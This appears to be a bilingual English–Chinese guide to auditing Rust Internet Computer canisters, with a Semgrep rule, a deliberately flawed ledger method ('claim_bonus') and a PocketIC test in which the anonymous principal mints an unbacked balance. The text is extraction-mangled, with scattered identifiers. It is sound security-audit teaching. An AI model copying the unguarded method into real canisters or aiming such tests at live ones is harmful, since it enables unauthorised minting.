canister-audit
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCanister Audit
Canister 审计
What This Is
这是什么
A workflow for auditing a Rust canister you did not write, and for turning a suspected flaw into a proven one. teaches the patterns a canister should follow; this skill is the other side of that coin - given existing code, find where those patterns are violated, and prove the highest-severity finding by reproducing the exploit in PocketIC. A grep hit or a hunch is a candidate; a PocketIC test that drives the deployed wasm and crosses the security boundary is evidence.
ic-cdkcanister-securityThe worked example throughout is a deliberately-broken ledger canister, , whose accounting invariant is broken by exactly one unguarded method.
token_vaultsum(balances) <= total_deposited这是一套用于审计并非由你编写的 Rust canister 的工作流,并可将疑似漏洞转化为已证实的漏洞。 讲解 canister 应遵循的模式;这个 skill 则站在另一面——针对现有代码,找出这些模式被违反的位置,并通过在 PocketIC 中复现漏洞利用来证明严重级别最高的发现。grep 命中或直觉判断只是一个候选项;而能够驱动已部署 wasm 并跨越安全边界的 PocketIC 测试才是证据。
ic-cdkcanister-security贯穿全文的示例是一个刻意包含缺陷的账本 canister ,其会计不变量 恰好被一个缺少防护的方法破坏。
token_vaultsum(balances) <= total_depositedPrerequisites
前置条件
- Rust toolchain + the wasm target: .
rustup target add wasm32-unknown-unknown - Optional static tools: (RustSec dependency CVEs) and Semgrep (a coarse first pass; Rust support is experimental, so treat it as high-recall).
cargo-audit - For the proof step: the crate (e.g.
pocket-ic). With16.1unset,POCKET_IC_BINdownloads the matching server release fromPocketIc::new()on first use. To pin a binary you have verified (sha256) instead, pointdfinity/pocketicat it; the server's major version must match the crate's.POCKET_IC_BIN
- Rust 工具链及 wasm target:。
rustup target add wasm32-unknown-unknown - 可选静态工具:(RustSec 依赖 CVE)和 Semgrep(粗粒度初筛;其 Rust 支持仍属实验性,因此应将其视为高召回率工具)。
cargo-audit - 对于证明步骤:需要 crate(例如
pocket-ic)。未设置16.1时,POCKET_IC_BIN会在首次使用时从PocketIc::new()下载匹配的 server release。如果希望改为固定使用已验证(sha256)的二进制文件,可将dfinity/pocketic指向该文件;服务端主版本必须与 crate 的主版本匹配。POCKET_IC_BIN
The audit workflow
审计工作流
- Detect the canister. Confirm it is a Rust ic-cdk canister: a depending on
Cargo.toml/ic-cdk,candid/#[ic_cdk::update]entrypoints, a#[ic_cdk::query]. A canister's logic is not recoverable from its deployed wasm, so you need the source - there is no audit-by-mainnet-address mode..did - Model the invariants first. Before reading for bugs, write down what must always hold: the accounting identity, who may call what, which state moves across each . The audit then hunts for a path that breaks each invariant. For
awaitthe invariant istoken_vault.sum(balances) <= total_deposited - Static first pass (high-recall, best-effort). Grep or Semgrep for the obvious footguns, treating every hit as a candidate to confirm, never an automatic finding:
- state-changing update fns — ,
#[update], with or without arguments (#[ic_cdk::update],guard = ...),name = ...or not — with no caller check (async, an owner check, or ais_controllerrejection).== Principal::anonymous()is a reentrancy lock, not a caller check: it admits the anonymous principal;CallerGuard - /
fetch_root_key/fetchRootKeyanywhere in the repo, including calls behind an environment check (shouldFetchRootKeypitfall #7 forbids it even there — environment branches leak into production builds); only test-only code is exempt. The fix to recommend is removing the call and passing the root key from thecanister-securitycookie (ic_env, viaIC_ROOT_KEY) assafeGetCanisterEnv()torootKey;HttpAgent.create() - - a guard bound to
let _ = CallerGuard::new(...)is dropped at the end of the statement, so the lock is released immediately;_ - - deprecated in favour of
ic_cdk::caller(); legacy call sites often predate the current guard conventions. A deliberately high-recall rule flagsmsg_caller(),deposit, andwithdrawhere, even thoughclaim_bonusrejects the anonymous principal anddeposittakes awithdraw- the point is to surface candidates for review, not to decide. Example Semgrep rule (tested with Semgrep 1.185):CallerGuard
The suppression is by name only, so methods it hides are still reviewed in step 4 - it just orders the queue.yamlrules: - id: ic-update-missing-caller-auth message: update method with no visible caller check - candidate for review languages: [rust] severity: ERROR patterns: # Every update entrypoint: bare or parameterized attribute, sync or async. - pattern-either: - pattern: | #[$ATTR] fn $F(...) { ... } - pattern: | #[$ATTR] fn $F(...) -> $R { ... } - pattern: | #[$ATTR] async fn $F(...) { ... } - pattern: | #[$ATTR] async fn $F(...) -> $R { ... } - pattern: | #[$ATTR(...)] fn $F(...) { ... } - pattern: | #[$ATTR(...)] fn $F(...) -> $R { ... } - pattern: | #[$ATTR(...)] async fn $F(...) { ... } - pattern: | #[$ATTR(...)] async fn $F(...) -> $R { ... } - metavariable-regex: metavariable: $ATTR regex: ^(ic_cdk::)?update$ # A bare `== Principal::anonymous()` is deliberately NOT a suppressor (a # comparison that does not reject the caller is not a guard), and neither # is CallerGuard (a reentrancy lock). Under-reporting is worse than noise. - pattern-not-regex: (is_controller|require_owner|require_admin) - state-changing update fns —
- Systematic review against the pitfalls. Walk each entrypoint against the checklist (anonymous principal #2, TOCTOU across
canister-security#3, unguarded admin #8, storage / cycle-drain DoS #10/#5, callback-trap-after-mutation #11, and the rest). For each candidate, read the code and decide real or refuted. Trace every guard to its body: aawaitfunction or helper proves nothing until you have read it,guard = "..."-style guards stop only the anonymous principal (not enough for admin methods), and a guard called as a statement whoserequire_authenticatedis discarded (Result) is a bypass - the mutation runs whether or not it returnedrequire_owner();. InErr,token_vaultcredits the caller with no guard and never touchesclaim_bonus, so it breaks the invariant and is reachable by the anonymous principal (pitfalls #2 and #8);total_deposited'sdepositcheck refutes its own candidate.== Principal::anonymous() - Prove a confirmed HIGH/CRITICAL with PocketIC (next section).
- Report. Per finding: the pitfall, the , the invariant broken, and - for a proven one - the reproduction. Frame an unproven candidate honestly as "suspected, not reproduced," and never ship a working exploit for an unpatched canister publicly - it belongs in a private report to the canister's controllers.
file:line
- 识别 canister。 确认它是一个 Rust ic-cdk canister:依赖
Cargo.toml/ic-cdk,包含candid/#[ic_cdk::update]入口点,并提供#[ic_cdk::query]。canister 的逻辑无法从已部署的 wasm 中还原,因此需要源代码——不存在仅凭 mainnet 地址进行审计的模式。.did - 首先建模不变量。 在查找漏洞之前,先记录必须始终成立的约束:会计恒等式、谁可以调用哪些方法,以及每次 前后哪些状态会发生变化。接下来的审计将寻找破坏每项不变量的路径。对于
await,其不变量为token_vault。sum(balances) <= total_deposited - 静态初筛(高召回率、尽力而为)。 使用 grep 或 Semgrep 搜索明显的陷阱,并将每个命中都视为需要确认的候选项,而非自动判定为发现:
- 会改变状态的 update fn——带参数或不带参数(、
guard = ...)、同步或异步形式——且没有调用方检查(name = ...、owner 检查,或对is_controller的拒绝)。== Principal::anonymous()是一种重入锁,而不是调用方检查:它允许匿名 principal 通过;CallerGuard - /
fetch_root_key/fetchRootKey出现在仓库中的任何位置,包括位于环境检查之后的调用(shouldFetchRootKey陷阱 #7 禁止这种做法,即使存在环境分支也不允许——环境分支可能泄漏到生产构建中);只有测试专用代码可以豁免。建议的修复方式是移除该调用,并从canister-securitycookie(ic_env,通过IC_ROOT_KEY获取)传入 root key,作为safeGetCanisterEnv()的HttpAgent.create();rootKey - ——绑定到
let _ = CallerGuard::new(...)的 guard 会在语句末尾立即被丢弃,因此锁会马上释放;_ - ——已被
ic_cdk::caller()取代;遗留调用点通常早于当前的 guard 约定。 此处,一条有意采用高召回率的规则会标记msg_caller()、deposit和withdraw,尽管claim_bonus会拒绝匿名 principal,且deposit获取了withdraw——重点是暴露需要审查的候选项,而不是直接下结论。示例 Semgrep 规则(已使用 Semgrep 1.185 测试):CallerGuard
抑制规则仅基于名称匹配,因此它隐藏的方法仍会在第 4 步中接受审查——它只是调整处理顺序。yamlrules: - id: ic-update-missing-caller-auth message: update method with no visible caller check - candidate for review languages: [rust] severity: ERROR patterns: # Every update entrypoint: bare or parameterized attribute, sync or async. - pattern-either: - pattern: | #[$ATTR] fn $F(...) { ... } - pattern: | #[$ATTR] fn $F(...) -> $R { ... } - pattern: | #[$ATTR] async fn $F(...) { ... } - pattern: | #[$ATTR] async fn $F(...) -> $R { ... } - pattern: | #[$ATTR(...)] fn $F(...) { ... } - pattern: | #[$ATTR(...)] fn $F(...) -> $R { ... } - pattern: | #[$ATTR(...)] async fn $F(...) { ... } - pattern: | #[$ATTR(...)] async fn $F(...) -> $R { ... } - metavariable-regex: metavariable: $ATTR regex: ^(ic_cdk::)?update$ # A bare `== Principal::anonymous()` is deliberately NOT a suppressor (a # comparison that does not reject the caller is not a guard), and neither # is CallerGuard (a reentrancy lock). Under-reporting is worse than noise. - pattern-not-regex: (is_controller|require_owner|require_admin) - 会改变状态的 update fn——带参数或不带参数(
- 依据陷阱清单进行系统审查。 按照 检查清单逐一审查每个入口点(匿名 principal #2、跨
canister-security的 TOCTOU #3、无防护的管理员方法 #8、存储 / cycle-drain DoS #10/#5、变更后 callback-trap-after-mutation #11,以及其他问题)。对于每个候选项,阅读代码并判断其是真实漏洞还是已被排除。必须追踪每个 guard 的函数体:await所指向的函数或辅助函数,在读过其实现之前不能证明任何安全性;guard = "..."风格的 guard 只能拦截匿名 principal(对于管理员方法远远不够);将 guard 作为语句调用并丢弃其require_authenticated(Result)属于绕过——无论它是否返回require_owner();,变更都会执行。在Err中,token_vault在没有任何 guard 的情况下为调用方记入余额,并且从不修改claim_bonus,因此破坏了不变量且可由匿名 principal 访问(陷阱 #2 和 #8);total_deposited的deposit检查则排除了其对应的候选项。== Principal::anonymous() - 使用 PocketIC 证明已确认的 HIGH/CRITICAL 漏洞(见下一节)。
- 报告。 每项发现应包含:对应陷阱、、被破坏的不变量;对于已证明的漏洞,还应包含复现过程。应诚实地将未经证明的候选项描述为"疑似,未复现",并且绝不要公开发布针对尚未修复 canister 的可用漏洞利用程序——它应仅出现在提供给 canister 控制方的私有报告中。
file:line
Proving a finding with PocketIC
使用 PocketIC 证明发现
This is the step that separates an audit from a lint. Build the audited canister to wasm, load it into PocketIC, call the suspect method as the attacker (usually ), and assert the prohibited outcome. If the test passes, the exploit is real.
Principal::anonymous()Keep the reproduction in a separate, standalone crate outside the audited repo's workspace, so PocketIC's dev-dependency never touches the target's manifests and your audit leaves the target unmodified. Drive the canister through its built wasm - ic-cdk canister code does not link for the host target.
token_vault_repro/Cargo.tomltoml
[package]
name = "token_vault_repro"
version = "0.1.0"
edition = "2021"
publish = false这是审计与 lint 之间的关键区别。将被审计的 canister 构建为 wasm,加载到 PocketIC 中,以攻击者身份(通常是 )调用可疑方法,并断言出现了不应发生的结果。如果测试通过,就证明漏洞利用真实存在。
Principal::anonymous()应将复现代码放在被审计仓库 workspace 之外的独立 crate 中,确保 PocketIC 的 dev-dependency 不会触及目标项目的 manifest,同时使审计过程不修改目标代码。必须通过构建后的 wasm 驱动 canister——ic-cdk canister 代码无法针对 host target 链接。
token_vault_repro/Cargo.tomltoml
[package]
name = "token_vault_repro"
version = "0.1.0"
edition = "2021"
publish = falseEmpty [workspace] keeps this crate out of any enclosing workspace.
Empty [workspace] keeps this crate out of any enclosing workspace.
[workspace]
[dev-dependencies]
candid = "0.10"
pocket-ic = "16.1"
undefined[workspace]
[dev-dependencies]
candid = "0.10"
pocket-ic = "16.1"
undefined1. The flaw (token_vault/src/lib.rs
)
token_vault/src/lib.rs1. 缺陷(token_vault/src/lib.rs
)
token_vault/src/lib.rsrust
// INTENTIONAL FLAW: credits the caller out of thin air - no anonymous-principal
// rejection, no owner guard, and it never touches total_deposited. Breaks the
// invariant sum(balances) <= total_deposited.
#[ic_cdk::update]
fn claim_bonus(amount: u64) {
let caller = msg_caller();
STATE.with(|s| {
*s.borrow_mut().balances.entry(caller).or_default() += amount;
});
}rust
// INTENTIONAL FLAW: credits the caller out of thin air - no anonymous-principal
// rejection, no owner guard, and it never touches total_deposited. Breaks the
// invariant sum(balances) <= total_deposited.
#[ic_cdk::update]
fn claim_bonus(amount: u64) {
let caller = msg_caller();
STATE.with(|s| {
*s.borrow_mut().balances.entry(caller).or_default() += amount;
});
}2. The reproduction (separate token_vault_repro
crate, tests/repro.rs
)
token_vault_reprotests/repro.rs2. 复现(独立的 token_vault_repro
crate,tests/repro.rs
)
token_vault_reprotests/repro.rsrust
use candid::{decode_one, encode_args, encode_one, Principal};
use pocket_ic::PocketIc;
fn install(pic: &PocketIc) -> Principal {
let c = pic.create_canister();
pic.add_cycles(c, 2_000_000_000_000);
// Must be an absolute path: cargo runs integration tests from this crate's root.
let path = std::env::var("CANISTER_WASM").expect("set CANISTER_WASM to the built .wasm");
let wasm = std::fs::read(&path).unwrap_or_else(|e| panic!("read {path}: {e}"));
pic.install_canister(c, wasm, encode_args(()).unwrap(), None);
c
}
fn query_u64(pic: &PocketIc, c: Principal, method: &str, arg: Vec<u8>) -> u64 {
let reply = pic.query_call(c, Principal::anonymous(), method, arg).expect("query rejected");
decode_one(&reply).expect("reply decodes to u64")
}
#[test]
fn anonymous_principal_mints_unbacked_balance() {
let pic = PocketIc::new();
let c = install(&pic);
let anon = Principal::anonymous();
// Precondition: an empty ledger.
assert_eq!(query_u64(&pic, c, "total_deposited", encode_args(()).unwrap()), 0);
// Attack: the anonymous principal credits itself 1_000 out of thin air.
pic.update_call(c, anon, "claim_bonus", encode_one(1_000u64).unwrap())
.expect("claim_bonus is callable by the anonymous principal - that is the bug");
let bal = query_u64(&pic, c, "balance_of", encode_one(anon).unwrap());
let total = query_u64(&pic, c, "total_deposited", encode_args(()).unwrap());
assert_eq!(bal, 1_000, "anonymous principal minted a balance");
assert!(
bal > total,
"INVARIANT BROKEN: sum(balances) {bal} > total_deposited {total} - \
the ledger records a balance no deposit backs"
);
}rust
use candid::{decode_one, encode_args, encode_one, Principal};
use pocket_ic::PocketIc;
fn install(pic: &PocketIc) -> Principal {
let c = pic.create_canister();
pic.add_cycles(c, 2_000_000_000_000);
// Must be an absolute path: cargo runs integration tests from this crate's root.
let path = std::env::var("CANISTER_WASM").expect("set CANISTER_WASM to the built .wasm");
let wasm = std::fs::read(&path).unwrap_or_else(|e| panic!("read {path}: {e}"));
pic.install_canister(c, wasm, encode_args(()).unwrap(), None);
c
}
fn query_u64(pic: &PocketIc, c: Principal, method: &str, arg: Vec<u8>) -> u64 {
let reply = pic.query_call(c, Principal::anonymous(), method, arg).expect("query rejected");
decode_one(&reply).expect("reply decodes to u64")
}
#[test]
fn anonymous_principal_mints_unbacked_balance() {
let pic = PocketIc::new();
let c = install(&pic);
let anon = Principal::anonymous();
// Precondition: an empty ledger.
assert_eq!(query_u64(&pic, c, "total_deposited", encode_args(()).unwrap()), 0);
// Attack: the anonymous principal credits itself 1_000 out of thin air.
pic.update_call(c, anon, "claim_bonus", encode_one(1_000u64).unwrap())
.expect("claim_bonus is callable by the anonymous principal - that is the bug");
let bal = query_u64(&pic, c, "balance_of", encode_one(anon).unwrap());
let total = query_u64(&pic, c, "total_deposited", encode_args(()).unwrap());
assert_eq!(bal, 1_000, "anonymous principal minted a balance");
assert!(
bal > total,
"INVARIANT BROKEN: sum(balances) {bal} > total_deposited {total} - \
the ledger records a balance no deposit backs"
);
}3. Run it
3. 运行
bash
rustup target add wasm32-unknown-unknownbash
rustup target add wasm32-unknown-unknownBuild the audited canister in its own repo (no changes to it).
Build the audited canister in its own repo (no changes to it).
(cd token_vault && cargo build --target wasm32-unknown-unknown --release)
(cd token_vault && cargo build --target wasm32-unknown-unknown --release)
Run the repro with an ABSOLUTE wasm path - a relative one resolves against
Run the repro with an ABSOLUTE wasm path - a relative one resolves against
token_vault_repro/, not the directory you ran this from.
token_vault_repro/, not the directory you ran this from.
(cd token_vault_repro &&
CANISTER_WASM="$PWD/../token_vault/target/wasm32-unknown-unknown/release/token_vault.wasm"
cargo test --test repro -- --nocapture)
CANISTER_WASM="$PWD/../token_vault/target/wasm32-unknown-unknown/release/token_vault.wasm"
cargo test --test repro -- --nocapture)
If the audited crate is part of a Cargo workspace, its wasm lands in the **workspace** `target/` directory - adjust the path accordingly.
A passing test is the whole point: it proves the anonymous principal can create a balance no deposit backs - the accounting invariant is broken on the deployed wasm. That is the difference between "`claim_bonus` looks unguarded" and "here is the anonymous principal minting a balance." Claim exactly what the test shows: it does **not** by itself prove funds can be stolen. To prove theft, extend the test - fund the vault from an honest principal, have the attacker `claim_bonus` then `withdraw`, and assert the withdrawal succeeds and the honest user's funds can no longer be fully paid out.(cd token_vault_repro &&
CANISTER_WASM="$PWD/../token_vault/target/wasm32-unknown-unknown/release/token_vault.wasm"
cargo test --test repro -- --nocapture)
CANISTER_WASM="$PWD/../token_vault/target/wasm32-unknown-unknown/release/token_vault.wasm"
cargo test --test repro -- --nocapture)
如果被审计的 crate 是 Cargo workspace 的一部分,其 wasm 会生成在 **workspace** 的 `target/` 目录中——请相应调整路径。
测试通过正是整个流程的关键:这证明匿名 principal 可以创建一个没有存款支撑的余额——已部署 wasm 上的会计不变量已经被破坏。这就是"`claim_bonus` 看起来没有防护"与"这里是匿名 principal 凭空铸造余额"之间的区别。测试所证明的内容应严格限定在其实际展示的范围内:它本身**不能**证明资金可以被盗取。若要证明盗取,可扩展测试——由正常用户 principal 为金库注资,让攻击者调用 `claim_bonus` 后再调用 `withdraw`,并断言提现成功且诚实用户的资金无法再被足额支付。Notes
注意事项
- The PocketIC server and the crate share a major version. Pin both and update the
pocket-ic/update_callsignatures together if you bump (the 16.x API returnsquery_call).Result<Vec<u8>, _> - A clean or failed reproduction does not refute the static / review finding. A flaw can be real but awkward to reproduce in a unit test (timing, multi-canister setup); keep the reasoning and record the proof as pending.
- Static hits are candidates, not verdicts. The high-recall ruleset exists to miss nothing obvious; the review and the PocketIC proof are what confirm.
- PocketIC server 与 crate 使用相同的主版本。如果升级,应同时固定两者版本,并同步更新
pocket-ic/update_call的签名(16.x API 返回query_call)。Result<Vec<u8>, _> - 未复现或复现失败都不能否定静态分析或代码审查得出的发现。漏洞可能真实存在,但难以在单元测试中复现,例如涉及时序或多 canister 部署;此时应保留分析推理,并将证明标记为待完成。
- 静态命中只是候选项,而不是结论。高召回率规则集用于避免遗漏明显问题;最终确认依赖于系统审查和 PocketIC 证明。